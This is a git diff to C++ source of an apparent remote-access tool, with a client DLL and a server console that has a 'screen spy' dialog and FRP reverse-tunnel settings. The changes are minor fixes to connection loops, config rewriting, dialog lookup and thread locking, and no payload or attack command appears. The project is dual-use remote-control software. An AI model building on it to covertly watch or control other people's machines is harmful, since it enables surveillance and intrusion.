diff --git a/client/ClientDll.cpp b/client/ClientDll.cpp index f0fd2d5..9183fcb 100644 --- a/client/ClientDll.cpp +++ b/client/ClientDll.cpp @@ -519,7 +519,7 @@ DWORD WINAPI StartClient(LPVOID lParam) LOGIN_INFOR login = GetLoginInfo(GetTickCount64() - dwTickCount, settings); while (ClientObject->IsRunning() && ClientObject->IsConnected() && !ClientObject->SendLoginInfo(login)) WAIT_n(app.m_bIsRunning(&app), 5 + time(0)%10, 200); - while (ClientObject->IsRunning() && ClientObject->IsConnected()) WAIT_n(app.m_bIsRunning(&app), 10, 200); + WAIT_n(app.m_bIsRunning(&app)&& ClientObject->IsRunning() && ClientObject->IsConnected(), 10, 200); do { Manager->SendHeartbeat(); diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp index bf77a8e..3bbb624 100644 --- a/server/2015Remote/2015RemoteDlg.cpp +++ b/server/2015Remote/2015RemoteDlg.cpp @@ -1306,7 +1306,9 @@ void CMy2015RemoteDlg::ApplyFrpSettings() auto master = THIS_CFG.GetStr("settings", "master"); if (master.empty()) return; - config cfg(GetFrpSettingsPath()); + std::string path = GetFrpSettingsPath(); + DeleteFileA(path.c_str()); + config cfg(path); cfg.SetStr("common", "server_addr", master); cfg.SetInt("common", "server_port", THIS_CFG.GetInt("frp", "server_port", 7000)); cfg.SetStr("common", "token", THIS_CFG.GetStr("frp", "token")); @@ -2719,7 +2721,7 @@ LRESULT CMy2015RemoteDlg::OnOpenScreenSpyDialog(WPARAM wParam, LPARAM lParam) auto mainCtx = clientID ? FindHost(clientID) : NULL; CDialogBase* dlg = dlgID ? (DialogBase*)dlgID : NULL; if (mainCtx) ContextObject->SetPeerName(mainCtx->GetClientData(ONLINELIST_IP).GetString()); - if (dlg) { + if (dlg && GetRemoteWindow(dlg->GetSafeHwnd())) { return dlg->UpdateContext(ContextObject); } return OpenDialog(wParam, lParam); @@ -3948,7 +3950,7 @@ void SetClipboardText(const char* utf8Text) CDialogBase* CMy2015RemoteDlg::GetRemoteWindow(HWND hWnd) { - if (!::IsWindow(hWnd)) return FALSE; + if (!::IsWindow(hWnd)) return NULL; EnterCriticalSection(&m_cs); auto find = m_RemoteWnds.find(hWnd); auto ret = find == m_RemoteWnds.end() ? NULL : find->second; diff --git a/server/2015Remote/2015RemoteDlg.h b/server/2015Remote/2015RemoteDlg.h index 41a0320..081d8a9 100644 --- a/server/2015Remote/2015RemoteDlg.h +++ b/server/2015Remote/2015RemoteDlg.h @@ -195,8 +195,11 @@ public: } ContextObject->hDlg = Dlg; - if(id == IDD_DIALOG_SCREEN_SPY) - m_RemoteWnds[Dlg->GetSafeHwnd()]=(CDialogBase*)Dlg; + if (id == IDD_DIALOG_SCREEN_SPY) { + EnterCriticalSection(&m_cs); + m_RemoteWnds[Dlg->GetSafeHwnd()] = (CDialogBase*)Dlg; + LeaveCriticalSection(&m_cs); + } return 0; }